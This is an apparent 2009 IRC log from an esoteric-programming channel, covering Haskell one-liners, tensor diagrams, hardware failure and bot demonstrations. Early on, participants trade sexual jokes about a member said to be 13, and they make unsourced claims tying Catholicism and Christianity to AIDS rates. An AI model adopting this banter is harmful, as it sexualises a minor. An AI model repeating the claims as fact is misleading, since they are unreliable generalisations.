02:21:07 <oerjan> like from the fifties at least..
02:21:13 <augur> "omg you gotta get circumcized otherwise you'll have to wash your cock"
02:21:30 <augur> we should just cut of peoples bodies
02:21:36 <augur> otherwise they'd have to wash.
02:21:38 <oerjan> augur: whereas some _have_ actually suggested it helps against aids, in africa
02:21:56 <augur> oerjan: it might. you know what REALLY helps against aids in africa? condoms.
02:22:00 <augur> and not being catholic.
02:22:05 <augur> unfortunately africa has lots of neither.
02:22:12 <nooga> yea, because skin is probably thicker and less likely to absorb the virus
02:22:25 <oerjan> oh there are plenty of african protestants and muslims too...
02:22:39 <augur> oerjan: sure, but they're not getting aids because they were condoms.
02:22:48 <augur> the catholic church specifically tells africans not to wear condoms.
02:22:51 <GregorR> THIS CONVERSATION TOO WEIRD
02:22:57 <oerjan> augur: [citation needed]
02:23:00 <GregorR> The catholic church tells EVERYONE not to where condoms.
02:23:05 <augur> this is true, GregorR
02:23:12 <oerjan> on the "they're not getting aids" part
02:23:13 <augur> but not everyone is an african with a high risk of getting aids.
02:23:57 <GregorR> This is why I canceled my "getting transportation through sexual favors tour of Africa"
02:24:18 <augur> http://en.wikipedia.org/wiki/File:Africa_HIV-AIDS_300px.png http://en.wikipedia.org/wiki/File:Religion_distribution_Africa_crop.png
02:24:24 <augur> aids trends with being christian in africa
02:24:24 <ehird> so an extreme shortage of not being catholic
02:24:30 <ehird> is that like having the inventory item no tea?
02:24:50 <nooga> ehird: you're 13, you can't even legally use your penor
02:25:00 <GregorR> nooga: Well that's just wildly incorrect :P
02:25:11 <augur> nooga: in spain and the netherlands he can
02:25:16 <ehird> nooga: that's just plain false, i can do most anything with it apart from put it in somebody else.
02:25:16 <augur> ehird, wanna go to amsterdam? ;o
02:25:28 <ehird> i like the idea of someone not urinating until they're 18
02:25:33 <nooga> oh yes, taking to accound that 70% of 13-year old girls in the UK are preggo
02:25:36 <ehird> "are you pregnant?" "no, i just haven't pissed for years"
02:25:43 <Slereah> There was a monty python sketch like that
02:25:52 <Slereah> In the German version of Flying Circus
02:26:00 <GregorR> Idonno about UK law, but age of consent in the US applies to sex over the age-of-consent boundaries; if two 14 year olds have sex, they haven't done anything worse than make probably really stupid decisions.
02:26:11 <augur> http://www.religiouslyremapped.info/map4/content.html
02:26:13 <nooga> ehird: nooga: that's just plain false, i can do most anything with it apart from put it in somebody else. < that's what i actually meant
02:26:14 <ehird> here we get jail time for that
02:26:34 <GregorR> ehird: Then I agree with nooga :P
02:26:36 <ehird> GregorR: we've also prosecuted underaged people for giving naked pics of themselves to their significant othe
02:26:41 <augur> so its clear that theres SOME general trend = more christian = more aids
02:26:50 <augur> but i cant find a map of different brands of christianity
02:27:01 <oerjan> augur: goddammit christian != catholic
02:27:04 <augur> http://www.religiouslyremapped.info/map5/content.html
02:27:13 <augur> oerjan: catholic subset christian
02:27:28 <ehird> catholicism is highly non-canonical christianity
02:27:35 <GregorR> augur: That doesn't mean you can take any christian population and say "I assume 25% of these people are catholic"
02:27:38 <ehird> basically like ancient mormonism imo
02:27:42 <augur> aids is more common in protestant countries in africa!
02:27:50 <GregorR> ehird: What an utterly weird thing to say.
02:27:50 <augur> gregor: uh, i didnt
02:28:00 <Pthingg> catholicism is non-canonical christianity
02:28:07 <Pthingg> will have to justify this statement
02:28:18 <ehird> catholicism is wildly different from all different sects of christianity
02:28:28 <GregorR> Well, if we're "just stating", then Christianity is totally just non-canon Zoroastrianism.
02:28:29 <augur> infact, i explicitly stated that the map DIDNT have a breakdown of the branches.
02:28:33 <ehird> Pthingg: yes, it is
02:28:40 <augur> ehird: catholicism is very similar to the anglican church
02:28:51 <augur> and those two are the top two churches
02:28:57 <augur> having like 90% of christians
02:29:01 <ehird> i didn't say it was unpopular
02:29:09 <Pthingg> catholicism is *the* canonical form of christianity
02:29:16 <Pthingg> (one clue is: "canonical" is catholic jargon)
02:29:18 <GregorR> Pthingg: Nah, not that much, in the USA other forms of protestantism are substantially more common.
02:29:35 <Pthingg> meanwhile in the huge portion of the world that is not america
02:29:40 <GregorR> Pthingg: (And the USA has a giant percentage of the christians in the world ... and all the annoying noisy ones)
02:29:49 <ehird> Pthingg is acting very defensive of catholicism
02:29:52 <Pthingg> yes yes, god bless america, usa #1 usa #1
02:29:57 <ehird> i'm tempted to infer things :p
02:30:12 <Pthingg> you are saying stupid things
02:30:18 <Pthingg> and somebody saying stupid things on the internet
02:30:30 <ehird> Pthingg: you need to
02:30:37 <augur> pthingg reads xkcd, obviously
02:30:53 <GregorR> No, Pthingg speaks in free verse poetry.
02:31:10 <Pthingg> the carriage return is punctuation on irc :|
02:31:12 <augur> i prefer beat poetry
02:31:26 <GregorR> Pthingg: It is if you're a flooding dick ;P
02:31:36 <ehird> Pthingg: you'll get on AnMaster's ignore list! surely you don't want that
02:31:43 <Pthingg> man, flooding is saying the same thing again and again
02:31:44 <augur> pethingg, ive noticed that you and i break sentences up in very similar fashions
02:31:53 <Pthingg> uh probably i mean people copy a lot of how i type
02:31:58 <Pthingg> it makes me feel special~~
02:32:05 <augur> namely, at the edges of sentences and sentence complements
02:32:16 <ehird> you are not unique in doing that
02:32:32 <ehird> i meant you didn't invent it.
02:32:46 <augur> GregorR: mary and joseph!
02:32:54 <GregorR> augur: Dangit, he was supposed to say it :P
02:34:23 <GregorR> Borodín's Nocturne from String Quartet #2
02:40:32 -!- calamari has joined.
02:42:06 <AnMaster> and actually, the idea of ehird having a split personality and arguing with himself is funny....
02:44:22 <augur> AnMaster: hasnt he done that before
02:44:56 <GregorR> I wonder how long new Billy Mays com/infomercials will be coming out. I mean, certainly the amount of time from "recording" to "on the air" is not insubstantial, and it's too late and expensive to restart from scratch ... I wonder if, psychologically, being advertised something from beyond the grave would make you not want to buy it very much ...
02:45:37 <pikhq> I also wonder how long “Pitchmen” is going to last.
02:45:56 <GregorR> Oh, it is sooooo canceled. I'm sure they'll finish out the season, but without him it's not a show.
02:46:10 <augur> i would buy something just because a zombie told me to.
02:48:48 <nooga> that whole SCM in xcode
02:49:03 <nooga> really really really suxx
02:50:32 <GregorR> Source Code Management I assume
02:50:47 <nooga> svn support is highly shitty
02:51:04 <GregorR> ON A SHITOCITY SCALE OF ONE TO SHITTY, I WOULD RATE IT HIGHLY SHITTY
02:51:20 <nooga> conflicts all the time, idiotic gui for comparison
02:52:21 <oerjan> > foldl' (liftM3 id [const,flip const]) "B" "rains."
02:52:23 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
02:52:47 <nooga> if i have "logical" folders in project that reflect "physical" structure of folders on my disk and then i create a file in one of the folders, it's only "logically" there and lands in project's main folder
02:54:35 <nooga> + objective-c has #import instead of #include
02:55:04 <nooga> and that whole #import searches for files automatically in frameworks and your project
02:55:23 <nooga> so try to have 2 files with same name
03:05:50 <oerjan> > foldl'(flip$ap.sequence[const id,const])"B""rains."
03:05:52 <lambdabot> "Braaiiiinnnnnnnnssssssssssssssss................................"
03:08:35 <oerjan> > ap (sequence[const id,const] 'r') "B"
03:08:45 <oerjan> > ap (sequence[const id,const] 'a') "Br"
03:09:46 <oerjan> that thing in the last parenthesis is the same as [const id 'a', const 'a'], or [id, const 'a']
03:09:50 <GregorR> ehird: spoony == oerjan. Just FYI.
03:10:05 <GregorR> (Using the extensive evidence I just presented :P )
03:10:42 <HackEgo> * DJ Spoony is the stage name of Johnathan Joseph (born 25 June 1970, Hackney, London ) who is a British DJ, and former BBC Radio 1 presenter. \ [13]en.wikipedia.org/wiki/Spoony \ * A foolish, simple, or silly person; A foolishly amorous person; Enamored in a silly or sentimental way; Feebly sentimental; gushy
03:11:41 <oerjan> nooga: ap [id, const 'a'] "Br" is the same as [f x | f <- [id, const 'a'], x <- "Br"]
03:11:50 <oerjan> > [f x | f <- [id, const 'a'], x <- "Br"]
03:12:50 <oerjan> nooga: what that does is to concatenate two lists the length of "Br", one where the characters are kept and the other where they are all replaced by 'a'
03:13:23 <pikhq> GregorR: Final Fantasy translation reference. ;)
03:13:55 <pikhq> Final Fantasy... 6? had a crappy translation, and someone was accused of being a spoony bard.
03:14:09 <oerjan> so then we make that a point-free function of the 'a' and the "Br" part. We want to reverse the arguments so that it fits into the foldl'
03:14:58 <oerjan> @pl \br a -> ap (sequence [const id, const] a) br
03:14:58 <lambdabot> flip (ap . sequence [const id, const])
03:15:58 <oerjan> and then we use foldl' to apply that to an initial "B" list and each of the rest of the characters in turn
03:18:47 <oerjan> ap is a monadic function, used here with the list monad to abbreviate a list comprehension
03:19:43 <oerjan> sequence is also monadic, although confusingly it is used with a completely different monad, the (e ->) monad. this is a nice trick to apply a list of functions all to the same argument.
03:21:15 <oerjan> anything in particular still unclear?
03:23:20 <oerjan> > sequence [f,g,h,i] x :: Expr
03:23:21 <lambdabot> Couldn't match expected type `t -> a'
03:23:45 <oerjan> > sequence [f,g,h] x :: Expr
03:23:47 <lambdabot> Couldn't match expected type `SimpleReflect.Expr'
03:24:01 <lambdabot> forall a. (SimpleReflect.FromExpr a) => a
03:24:29 <lambdabot> forall a. (SimpleReflect.FromExpr a) => [a]
03:24:57 <oerjan> i'm not sure why Expr doesn't show what i want there
03:25:18 <nooga> these haskell hacks look pro
03:25:25 <oerjan> > sequence [f,g,h] x :: [Expr]
03:26:55 -!- AnMaster has quit (Success).
03:27:50 <oerjan> making haskell hacks is a bit addictive
03:28:40 <nooga> i've read that funny tutorial with pictures and my code is also funny
03:32:12 <nooga> i need something more synthetic
03:34:02 * oerjan doesn't know much about tutorials
03:35:06 <nooga> how did you learn haskell?
03:35:46 <oerjan> i don't quite recall what tutorial i looked at
03:36:11 <oerjan> but after that i read the language definition
03:36:32 <oerjan> that was around 2001-2002
03:38:01 <oerjan> then i didn't do much until around 2006 or 2007 when i joined #haskell for a while
03:38:30 <oerjan> and picked up a lot of small but maybe not that useful tricks :)
03:43:08 -!- zzo38 has joined.
03:43:28 * oerjan wonders what that blue flag is the reddit alien is holding
03:44:05 <zzo38> Where it says the topic must contain "esoteric programming languages" does it also mean it has to be in all lowercase?
03:44:35 <oerjan> well if EgoBot still enforces it, then probably
03:45:54 -!- zzo38 has set topic: we induct pikhqs http://tunes.org/~nef/logs/esoteric/?C=N;O=D | The topic must contain the phrase "Esoteric Programming Languages" AT ALL TIMES.
03:46:08 -!- zzo38 has set topic: we induct pikhqs http://tunes.org/~nef/logs/esoteric/?C=N;O=D | The topic must contain the phrase "esoteric programming languages" AT ALL TIMES.
03:46:43 <oerjan> i am not sure if GregorR gave up on it
03:47:12 <GregorR> I gave up on it because you're all a bunch of dicks.
03:47:22 <GregorR> But no, it wasn't case sensitive.
03:47:59 <zzo38> I just wanted to test it to see if it complained when changing the case of the letters
03:50:27 <zzo38> Does anyone here have knowledge of Mathematica and Mathematica Player, I have a few questions about it
03:51:08 <oerjan> coincidentally i just tried wolfram alpha in the other window, but no
03:51:36 <oerjan> does anyone know how to find a flag from its _look_, rather than the other way around?
03:51:45 <zzo38> I'm not talking about Wolfram|Alpha.
03:52:11 <GregorR> zzo38: We're not talking about what you're talking about, so neeah. If anybody knew Mathematica, they'd respond.
03:52:19 <GregorR> oerjan: Idonno, poke aimlessly around Wikipedia?
03:52:40 <zzo38> My questions about Mathematica Player are: Can ToExpression still be used? How large can a inputted number be? Can numbers be pasted in?
03:53:28 <zzo38> But I can tell things I have discovered about Wolfram|Alpha, which I have found in TDWTF and some of my own experimenting with it.
03:53:32 <oerjan> hm cool there is a flags by design page
03:54:01 <zzo38> Type in "how much beer can i drink" and it gives an imaginary number answer in units of inches to the sixth power.
03:54:08 <GregorR> http://en.wikipedia.org/wiki/Flag_of_Honduras
03:54:29 <oerjan> ooh it was the Hon *dammit* GregorR
03:54:39 <zzo38> And "the answer to life, the universe, and everything" is acceptable in Wolfram|Alpha and it can be used as a constant in other calculations, too.
03:55:04 <zzo38> Also, "what is your name" works, but it can't do anything with "what is my name"
03:55:15 <oerjan> but yeah wikipedia's flag lists are pretty awesome
03:56:16 <zzo38> And "the answer to life, the universe, and everything" can also be used in Google Calculator.
04:01:20 -!- nooga_ has joined.
04:02:41 <zzo38> Mathematica Player is of no use if the Three Fundamental Questions of Mathematica Player cannot be answered.
04:03:42 <oerjan> this somehow probably has parallels to life in general. or at least people's attitude to it.
04:04:20 <pikhq> GregorR: Following the coup d'etat?
04:04:40 <oerjan> iran is _so_ last month
04:05:00 <oerjan> ok iran is so _soon last month_
04:05:47 <pikhq> The President of Honduras was moved to Costa Rica in his sleep by Honduran soldiers.
04:05:50 <GregorR> I'm looking over some of the past US flags ... I never realized that there were wildly asymmetrical official flags :P
04:06:25 <zzo38> Yesterday I have calculated the value of a tensor diagram using Linear Al. Linear Al can't do tensor diagrams, so I draw the diagram on paper first and then manually converted it to a series of tensor multiplications and matrix multiplications.
04:06:43 <GregorR> (I mean assymetry in the stars, obviously the whole flag has never been symmetrical)
04:06:45 <pikhq> http://en.wikipedia.org/wiki/2009_Shishou_riot Why was this not in the news?
04:06:57 <zzo38> The diagram I have calculated, is I have made a diagram representing a latch made using NAND-gates, and I got the expected answer.
04:07:18 <oerjan> > product<$>replicateM 7[-1,1]
04:07:20 <lambdabot> [-1,1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,1,-1,1,-1...
04:08:04 <nooga_> zzo38: seems interesting
04:08:18 <zzo38> O, that's thuemorse sequence!
04:08:32 -!- nooga has quit (Operation timed out).
04:08:33 <oerjan> yeah i translated your tensor idea to haskell
04:09:16 <zzo38> I have gotten the answer [0,0,0,0;0,0,1,1;0,1,0,1;1,0,0,0] which is the correct value of a latch of NAND-gates, isn't it?
04:09:42 <oerjan> what is a latch of NAND-gates?
04:09:48 <zzo38> O, so that's how you do tensor products in haskell.
04:10:06 <oerjan> the list monad is nice for that, yes
04:11:04 <zzo38> http://en.wikipedia.org/wiki/File:SR_Flip-flop_Diagram.svg
04:12:10 <zzo38> In order to compute the value of a tensor diagram, you do tensor multiplying horizontally and you do matrix multiplying vertically.
04:13:09 <oerjan> hm right, but a flip-flop is a time varying circuit...
04:13:15 * Warrigal ponders how to make "cons 1 cons 2 cons 3 end" evaluate to [1,2,3]
04:14:03 <zzo38> Yes it is time varying and I knew that, but I wanted to find out what would happen if I made a tensor diagram for it and computed its value anyways, so I did.
04:15:01 <lambdabot> Couldn't match expected type `[t]'
04:15:12 <zzo38> The diagram required the U-shaped hoops (also called metric tensor), which represent flattened identity matrices. Straight vertical lines represent actual identity matrices.
04:15:26 <Warrigal> Yes, but that's not "cons 1 cons 2 cons 3 end".
04:15:47 <Warrigal> Lessee, cons must have the same type as cons 1 cons, and... eh, fucitol.
04:15:47 <oerjan> must have end = [] i think
04:15:49 <pikhq> That line doesn't mean what you think it means.
04:15:57 <Warrigal> It means precisely what I think it means.
04:16:04 <oerjan> because logically that's what you get by dropping all the cons'es
04:16:55 * Warrigal ponders continuation passing style.
04:16:55 <pikhq> In order for that to work, cons would have to be of type [t] -> [t] -> [t] -> [t] -> [t] -> [t] -> [t], I think.
04:17:07 <oerjan> some polymorphism is needed there
04:17:29 <pikhq> What you want is cons 1 (cons 2 (cons 3 end)), or somewhat different syntax in Haskell. :P
04:17:29 <Warrigal> How about "begin cons 1 cons 2 cons 3 end"...
04:17:56 <oerjan> yes, that should be easier
04:19:40 <zzo38> Using the similar way I have done, you could compute the matrix for any digital circuit (even time-varying circuits) but the result won't be time-varying, but other than that the result will be the correct matrix.
04:20:27 <oerjan> > let begin f = f []; cons l n f = f (n:l); end l = reverse l in begin cons 1 cons 2 cons 3 end
04:21:40 <zzo38> O, it works. I don't know haskell much but I can somewhat understand how it works.
04:23:08 <nooga_> am I mistaken that i can write a parser in haskell using guards that the actual program would look almost like BNF?
04:23:10 <Warrigal> @type let chase begin cons end = begin cons 1 cons 2 cons 3 end in chase
04:23:12 <oerjan> > let begin f = f id; cons cmb n f = f (cmb.(n:)); end cmb = cmb [] in begin cons 1 cons 2 cons 3 end
04:23:12 <lambdabot> forall t t1 t2 t3 t4 t5. (Num t3, Num t2, Num t1) => (t -> t1 -> t -> t2 -> t -> t3 -> t4 -> t5) -> t -> t4 -> t5
04:23:25 <Warrigal> Yeah, I figured it would give something kind of stupid.
04:23:46 <oerjan> i'm not sure if this is more efficient than reverse though
04:23:48 <Warrigal> @type let chase begin cons end = [begin end, begin cons 1 end, begin cons 1 cons 2 end] in chase
04:23:49 <lambdabot> Occurs check: cannot construct the infinite type: t = t2 -> t1 -> t
04:23:50 <lambdabot> Probable cause: `begin' is applied to too many arguments
04:23:50 <lambdabot> In the expression: begin cons 1 end
04:26:20 <oerjan> nooga_: somewhat, but look at Parsec
04:28:51 -!- Sgeo has joined.
04:34:06 <lambdabot> forall b a. Maybe (b -> Either a b)
04:37:50 <zzo38> Using the matrix of the SR latch of NAND gates I have computed, an input of |11> results in *both* output values |01> and |10> while other inputs give a single output state, being the correct state that the circuit would actually produce.
04:49:29 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
04:54:30 <nooga_> how to access tuples' elements?
04:55:39 <oerjan> > let (a,b,c) = (1,2,3) in a+b+c
04:55:56 <oerjan> for 2-tuples only there is also fst and snd functions
04:57:54 <oerjan> there are other functions for doing various higher level things, mostly for 2-tuples
04:58:43 <oerjan> > unzip . zip [1..] $ "abcdefg"
05:01:35 <oerjan> > (pred *** succ) (5,7)
05:01:54 <oerjan> zip turns two lists into a list of tuples
05:02:34 <nooga_> (<+>) :: Vec -> Vec -> Vec
05:02:35 <nooga_> (x,y,z) <+> (x1,y1,z1) = (x+x1,y+y1,z+z1)
05:02:59 <oerjan> oh and there isn't much to work on arbitrary length tuples
05:03:09 <oerjan> something can be done with type classes
05:03:38 <oerjan> there are probably some libraries on hackage
05:04:26 <oerjan> nooga_: a 2-tuple and a 3-tuple are never the same type, so any function that is to work with both needs type class overloading
05:04:36 <nooga_> i want to write whole path tracer from scratch in order to LEARN something
05:04:48 <oerjan> and there aren't any in the basic libraries
05:05:31 <oerjan> generally, if you have elements of the same type inside and need varying length, then use a list
05:06:55 <oerjan> even if you don't need varying length a list can be better since you have map and stuff
05:11:20 <oerjan> hm that might be, at least for short tuples
05:11:31 <oerjan> well a 3-tuple should work fine
05:12:04 <nooga_> (x,y,z) <+> (x1,y1,z1) = (x+x1,y+y1,z+z1) < is there a way to write it simpler?
05:12:19 <oerjan> with a data type you can make the fields strict (non-lazy) which helps performance
05:15:00 <oerjan> but then you only need a few basic functions for 3-vectors anyhow
05:15:02 <nooga_> you know, path tracer is something that has enormous amounts of iterations in final form
05:15:19 <oerjan> i think that's usually called "ray" tracer
05:15:22 <nooga_> it would be cool to make it parallel
05:15:37 <nooga_> path tracer is a specific form of ray tracer
05:16:06 <nooga_> http://en.wikipedia.org/wiki/Path_tracing
05:18:58 <oerjan> i understand recent ghc has better support for parallel array or list processing which i know essentially nothing about. parallel list comprehensions, i think it's called.
05:21:07 <nooga_> [ trace ray | ray <- (map shootRay imageMatrix) ] ;D
05:21:39 <oerjan> um that's an ordinary list comprehension
05:21:50 <oerjan> there's some special syntax for the new ones
05:22:14 <oerjan> but other than that, probably a good start :)
05:22:39 <Asztal> parallel ones are like [ (x,y) | x <- xs | y <- ys ]
05:23:00 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
05:23:55 <Asztal> I thought that was what you meant
05:23:55 <oerjan> er they may be called parallel
05:24:12 <nooga_> i'll need to use something like 2d array of tuples (800x600 for example)
05:24:16 <oerjan> no, i am talking about something they added for automatic parallel computation
05:24:26 <Asztal> oh, I haven't heard of that
05:25:23 <nooga_> http://www.haskell.org/haskellwiki/GHC/Data_Parallel_Haskell#A_simple_example
05:26:15 <nooga_> oh no, that's an array
05:27:00 -!- Pthingg has quit (Remote closed the connection).
05:32:04 -!- sebbu2 has joined.
05:45:37 -!- Gracenotes has joined.
05:48:01 -!- sebbu has quit (Read error: 110 (Connection timed out)).
05:51:41 -!- sebbu2 has quit (Connection timed out).
05:55:23 -!- oerjan has quit ("leaving").
06:52:38 -!- Pthing has joined.
06:54:13 -!- FireFly has joined.
07:03:54 -!- FireFly has quit ("Later").
07:14:53 -!- calamari has quit ("Leaving").
07:17:14 -!- olsner has quit ("Leaving").
07:36:19 -!- mtve has joined.
07:51:58 -!- MigoMipo has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:28:07 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
08:51:55 -!- KingOfKarlsruhe has joined.
10:27:41 -!- nooga_ has quit (Remote closed the connection).
10:30:23 -!- nooga has joined.
10:30:49 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
10:34:33 -!- AnMaster has joined.
10:34:37 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
10:35:45 <AnMaster> great... the harddrive with swap on it died when I was sleeping. Resulting in a kernel panic
10:35:57 <AnMaster> funny thing: smartctl said it was just fine. Everything else disagrees.
10:40:01 <AnMaster> luckily I have complete backups of anything important on it.
10:48:21 -!- FireFly has joined.
10:52:14 -!- sebbu has joined.
10:53:30 -!- BeholdMyGlory has joined.
11:23:41 -!- augur_ has joined.
11:37:38 -!- augur has quit (Read error: 110 (Connection timed out)).
12:34:36 -!- ais523 has joined.
13:21:56 * AnMaster had a hard drive failure during the night
13:22:03 <ais523> how much was backed up?
13:22:13 <AnMaster> but the drive had the swap partition
13:22:30 <AnMaster> well all of it, except the last day or so
13:22:39 <ais523> most people are upset at losing all their data when their hard drive fails
13:22:45 <ais523> whereas you're just upset at having to reboot...
13:22:55 <AnMaster> ais523, yes and having to take out the drive
13:23:14 <AnMaster> especially since you need to open both sides to take out a drive
13:23:23 <AnMaster> to reach all the needed screws holding the drive
13:23:41 <AnMaster> this case is really badly designed IMO
13:23:56 <AnMaster> ais523, oh and at having to buy a new drive...
13:24:02 -!- KingOfKarlsruhe has left (?).
13:24:03 <AnMaster> I'm quite irritated by that too
13:24:47 <nooga> http://i39.tinypic.com/8ycl07.png
13:31:19 <AnMaster> nooga, what the hell is it supposed to be...
13:33:17 -!- MigoMipo has joined.
13:36:32 -!- oerjan has joined.
13:38:40 <AnMaster> I think I found a hidden 1 April joke by google this year: look http://uptime.netcraft.com/up/graph?site=google.se
13:39:43 <AnMaster> but sqrt(-garfield) was funnier today
13:40:03 <ais523> AnMaster: it would be great if they were running a Chrome-based server, somehow
13:40:23 <AnMaster> ais523, looking at the date it must have been some 1 April joke that no one noticed...
13:42:34 -!- Judofyr has joined.
13:43:05 <AnMaster> oerjan, well, they didn't tell me if they did!
13:43:48 <oerjan> in fact, i believe fighting fire with fire is a well-known tactic
13:44:23 <oerjan> i seem to vaguely recall it being used in one of the little house on the prairie books...
13:46:03 <oerjan> basically i think they burned a ring around their house before the big prairie fire reached them
13:50:32 <ais523> oil fires are often put out using explosives
13:50:48 <ais523> the explosion takes away much of the oxygen in the area and blasts the rest away from the oil
13:51:18 <AnMaster> <oerjan> i seem to vaguely recall it being used in one of the little house on the prairie books... <--- oooh, I have a vague memory of them too...
13:54:38 <AnMaster> ais523, about that failed drive... even after it failed, querying it with SMART reported that all was well
13:55:55 <AnMaster> (strange considering that when ordered to do a short self test all it did was spin up, spin down, spin up, spin down, .... for about half a minute, then reporting "self test aborted by host")
13:56:25 <AnMaster> ais523, I never had a drive fail in this strange way before btw...
13:56:45 <AnMaster> somehow the partition table *was* readable. But nothing else was.
13:57:04 <fizzie> There's also the term, http://en.wikipedia.org/wiki/Controlled_burn
13:57:59 <AnMaster> fizzie, to prevent buffer underrun? ;P
14:00:11 <oerjan> AnMaster: that sqrt(-garfield) seems like it would be inspired by the "Ryan North's Jokes Explained^n" posts
14:02:27 -!- augur_ has quit (Read error: 110 (Connection timed out)).
14:02:42 <oerjan> fizzie: especially the Back Burning section
14:03:20 <fizzie> Yes; that was actually my wikipedia search, but it got rediddled to that page.
14:15:51 <EgoBot> http://google.com/search?q=define:rediddled
14:16:22 <AnMaster> GregorR, I'm pretty sure `google is broken ^
14:17:25 <HackEgo> Definition of broken in the Online Dictionary. Meaning of broken. Pronunciation of broken. Translations of broken. broken synonyms, broken antonyms. \ www.thefreedictionary.com/broken - [18]Cached - [19]Similar
14:17:39 <HackEgo> Definition of work (noun) form plural: works labor; task; profession; occupation ; vocation; effort. Definition of work. Define work ... \ www.english-test.net/toeic/vocabulary/.../toeic-definitions.php - [18]Cached - [19]Similar
14:18:09 <AnMaster> GregorR, define: doesn't work in `google...
14:20:35 <fizzie> Oh, just "redirected".
14:20:39 <HackEgo> * plant: buildings for carrying on industrial labor; "they built a large plant to manufacture automobiles" \ * whole shebang: everything available; usually preceded by `the'; "we saw the whole shebang"; "a hotdog with the works"; "we took on the whole caboodle"; "for $10 you get the full treatment" \ * performance
14:22:36 <nooga> Mac Pro, i want one
14:37:09 <HackEgo> #!/bin/bash \ if [ ! "$1" ] \ then \ echo 'Google what?' \ exit 1 \ fi \ \ QUERY=`echo -n "$1" | od -t x1 -A n -w1000 | tr " " %` \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://google.com/search?q='"$QUERY" | \ grep -A 4 'Search Results' | \ tail -n 2
14:37:22 <HackEgo> #!/bin/bash \ if [ ! "$1" ] \ then \ echo 'Define what?' \ exit 1 \ fi \ \ QUERY=`echo -n "$1" | od -t x1 -A n -w1000 | tr " " %` \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://google.com/search?q=define:'"$QUERY" | \ grep -A 3 'Definitions of' | \ head -n 4 | tail -n 3
14:47:02 -!- zid has joined.
14:47:16 -!- kerio92 has joined.
14:47:31 -!- kerio92 has left (?).
14:47:31 <ais523> everyone: the new people here are because zid mentioned Befunge over in #nethack
14:47:48 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
14:47:58 <ais523> fungot's written in Befunge, for instance
14:48:12 <fungot> echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble
14:48:15 <fungot> http://zem.fi/~fis/fungot.b98.txt
14:48:53 <GregorR> ais523: All one of those new people? :P
14:49:01 <zid> Can the bots here do brainfuck?
14:49:12 <AnMaster> <nooga> Mac Pro, i want one <-- you could get something more powerful for much less from anyone but Apple.
14:49:26 <nooga> AnMaster: but mac pro is sexy
14:49:29 <zid> well i'm busy playing nethack atm
14:49:32 <zid> I'll talk to you guys in a bit
14:49:42 <EgoBot> show: !show <interp>. Shows the definition of a user interpreter.
14:49:46 <GregorR> nooga: I have a mac pro, and I often have sex with it. Oh, would a good computer.
14:49:49 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
14:49:54 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
14:49:55 <EgoBot> Sorry, I have no help for sadbf!
14:49:55 <AnMaster> I'm actually working on efunge atm
14:49:58 <ais523> that's what i was looking for
14:50:07 <AnMaster> the core stuff for ATHR is mostly done.
14:50:09 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
14:50:11 <ais523> loads of esolangs, plus a few real langs
14:50:23 <ais523> AnMaster: yes, I noticed
14:50:25 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney ctcp dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck reverse rot13 sadbf sfedeesh sffedeesh sffffedeesh sffffffffedeesh slashes svedeesh swedish valspeak warez yodawg
14:50:26 <AnMaster> as in, the thread supervisor finally works
14:50:28 <ais523> just didn't think of a reason to respond
14:50:34 <AnMaster> ais523, the newline was not intentional
14:50:38 <zid> I wrote a befunge interp, it was just a jump table and bin2o
14:50:43 <EgoBot> sadol :M$0 :d:i,45000@>i-01(2]M0:i-i1:S$0:C;3:l#C-01:p:m0@<pl(2?=#Cp"1+:#Mm%+#Mm1,3255?=#Cp"1-:#Mm?<-#Mm10,3254-#Mm1?=#Cp"1>:m%+m1d?=#Cp"1<:m?<-m10-s1-m1?=#Cp"1.!'2#Mm?=#Cp"1,:#Mm'1;0?=#Cp"1[]S-p1?=#Cp"1]?=#Mm00:p[S0:p+p1
14:50:52 <GregorR> !aol ais523: This is hyperuseful!
14:50:52 <EgoBot> AI5523: TH1S I5 HYPERU5EFUL!!!!!!!!!!1
14:50:53 <zid> 93 I assume
14:51:03 <ais523> 98 is considerably harder to implement
14:51:13 <zid> I don't remember the difference anymore
14:51:15 <nooga> zid: :M$0 :d:i,45000@>i-01(2]M0:i-i1:S$0:C;3:l#C-01:p:m0@<pl(2?=#Cp"1+:#Mm%+#Mm1,3255?=#Cp"1-:#Mm?<-#Mm10,3254-#Mm1?=#Cp"1>:m%+m1d?=#Cp"1<:m?<-m10-s1-m1?=#Cp"1.!'2#Mm?=#Cp"1,:#Mm'1;0?=#Cp"1[]S-p1?=#Cp"1]?=#Mm00:p[S0:p+p1 this is brainfuck in sadol
14:51:28 <ais523> zid: 98 has more commands, and lets you use programs of unlimited size
14:51:34 <ais523> nooga: I can't read SADOL
14:51:35 <GregorR> THIS! IS! BRAINFUCK! (in Sadol)
14:51:46 <zid> It didn't support unlimited size but it supported 4.3G
14:52:17 <ais523> !cintercal DO READ OUT #12345 PLEASE GIVE UP
